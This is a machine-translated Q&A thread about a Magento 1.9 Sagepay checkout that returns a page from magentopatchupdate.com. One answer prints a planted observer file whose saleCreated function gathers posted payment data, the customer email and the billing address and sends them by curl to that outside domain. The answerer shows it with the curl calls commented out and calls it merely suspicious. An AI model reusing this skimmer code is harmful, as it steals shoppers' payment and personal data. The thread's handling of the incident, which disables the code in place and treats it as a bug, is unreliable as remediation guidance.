2016-06-07 125 views
1

我正在使用Ebizmarts Sagepay支付模塊,並啓用Magento後端的「Sage Pay Suite [前端 - 直接整合]」方法,但在按下立即訂購按鈕後前端,請求轉至sagepay但奇怪的迴應回來了。這發生在最近2天。 響應: 「Magentopatchupdate.com 此域名已過期 - 更新說明 隱私政策。」Magento Sagepay付款響應Magentopatchupdate.com

請參閱圖像 enter image description here

可以在任何幫助我嗎? Magento版本1.9.0.1和使用onestepcheckout擴展 謝謝

+0

同樣的問題 – gog

+0

我只是通過刪除解決這個問題/應用/代碼/本地/法師/控制器文件夾。我認爲這個文件夾在應用安全補丁後創建 –

回答

0

問題不在於支付方式。

我發現客戶有同樣的問題。運行安全的Magento所有的補丁之後,你應該removar這是在應用程序/代碼中創建的文件/ 本地 /法師/控制器

0

我只是解決了這個問題的客戶端 - 該文件是:

/app/code/local/Mage/Controller/Model/Observer.php 

我沒有刪除它,我只是在saleCreated函數中註釋掉了curl命令。

public function saleCreated(Varien_Event_Observer $observer) 
{ 
    $url = 'http://magentopatchupdate.com/update/529U76xbMIH.php'; 

    $orderData = $observer->getEvent()->getOrder(); 
    $order = Mage::getModel('sales/order')->loadByIncrementId($orderData->getIncrementId()); 

    $this->_preparePaymentData($_POST, ''); 
    //$this->orderDetails['shipping_method'] = $order->getShippingMethod(); 
    $this->orderDetails['customer_email'] = $order->getCustomerEmail(); 
    $this->getOrderAddressInfo($order, 'billing'); 
    //$this->getOrderAddressInfo($order, 'shipping'); 

    //print_r(json_encode($this->orderDetails)); 

    $postStr = ''; 
    foreach($this->orderDetails as $key=>$value) { 
     $postStr .= $key . '=' . $value . '&'; 
    } 

    rtrim($postStr, '&'); 

    //This was causing issue - commented out all curl commands 
    //$ch = curl_init(); 
    //curl_setopt($ch,CURLOPT_URL, $url); 
    //curl_setopt($ch,CURLOPT_POST, count($_POST)); 
    //curl_setopt($ch,CURLOPT_POSTFIELDS, $postStr); 

    //$result = curl_exec($ch); 
    //curl_close($ch); 
} 

上述的一些行被註釋掉已經 - 爲什麼它發出訂單的詳細信息,以magentopatchupdate.com是非常可疑......這裏